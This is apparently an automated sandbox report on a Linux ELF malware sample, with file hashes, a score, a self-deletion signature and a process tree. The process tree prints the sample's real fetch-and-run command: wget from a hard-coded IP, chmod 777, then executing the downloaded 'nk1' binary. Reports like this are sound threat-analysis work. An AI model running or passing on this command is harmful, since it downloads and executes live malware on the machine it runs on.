Analysis
-
max time kernel
16s -
max time network
132s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20231215-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20231215-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
13-02-2024 06:02
Behavioral task
behavioral1
Sample
f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf
Resource
ubuntu1804-amd64-20231215-en
ubuntu-18.04-amd64
1 signatures
150 seconds
General
-
Target
f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf
-
Size
11KB
-
MD5
a7c90c15bc55d349c10a846f572926bf
-
SHA1
21029abe57f7d20d1cfe7f8b01618f3c05bf1a0f
-
SHA256
f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec
-
SHA512
cba6bec2c3a43fcd02696545971a3e5bb7267b3f79e00f41b09a63bff3fa61227b2c1435cc6b9958a3e601533fecd2c71d0b863952af0f2bbeb77eea1c98705a
-
SSDEEP
192:Mh4D6pcxYQzB/J36FNcj+jwdzpn0qMlZ4SRV54n+wSSzUn:MhKzY8f3cNsIv1R9YO
Score
7/10
Malware Config
Signatures
-
Deletes itself 1 IoCs
pid Process 1557 f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf
Processes
-
/tmp/f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf/tmp/f601e66605cdfa656b7187da0765153a21a606a2430729fc5754ed71523bf8ec.elf1⤵
- Deletes itself
PID:1557 -
/bin/shsh -c "wget http://198.98.51.91/abdagoodamagalu/nk1; chmod 777 *; ./nk1 wget.echo.telnet.x86"2⤵PID:1561
-
/usr/bin/wgetwget http://198.98.51.91/abdagoodamagalu/nk13⤵PID:1562
-
-
/bin/chmodchmod 777 config-err-BtJbhL netplan_upz4p7ln snap-private-tmp ssh-UICRjWpLYv7w systemd-private-07b6cae6abe146cda9cc22982195be5b-ModemManager.service-xKZS6q systemd-private-07b6cae6abe146cda9cc22982195be5b-bolt.service-pVrVsu systemd-private-07b6cae6abe146cda9cc22982195be5b-colord.service-vTXu7s systemd-private-07b6cae6abe146cda9cc22982195be5b-fwupd.service-HJZcWL systemd-private-07b6cae6abe146cda9cc22982195be5b-systemd-resolved.service-bSjptR systemd-private-07b6cae6abe146cda9cc22982195be5b-systemd-timedated.service-9Atn4R3⤵PID:1563
-
-
/tmp/nk1./nk1 wget.echo.telnet.x863⤵PID:1564
-
-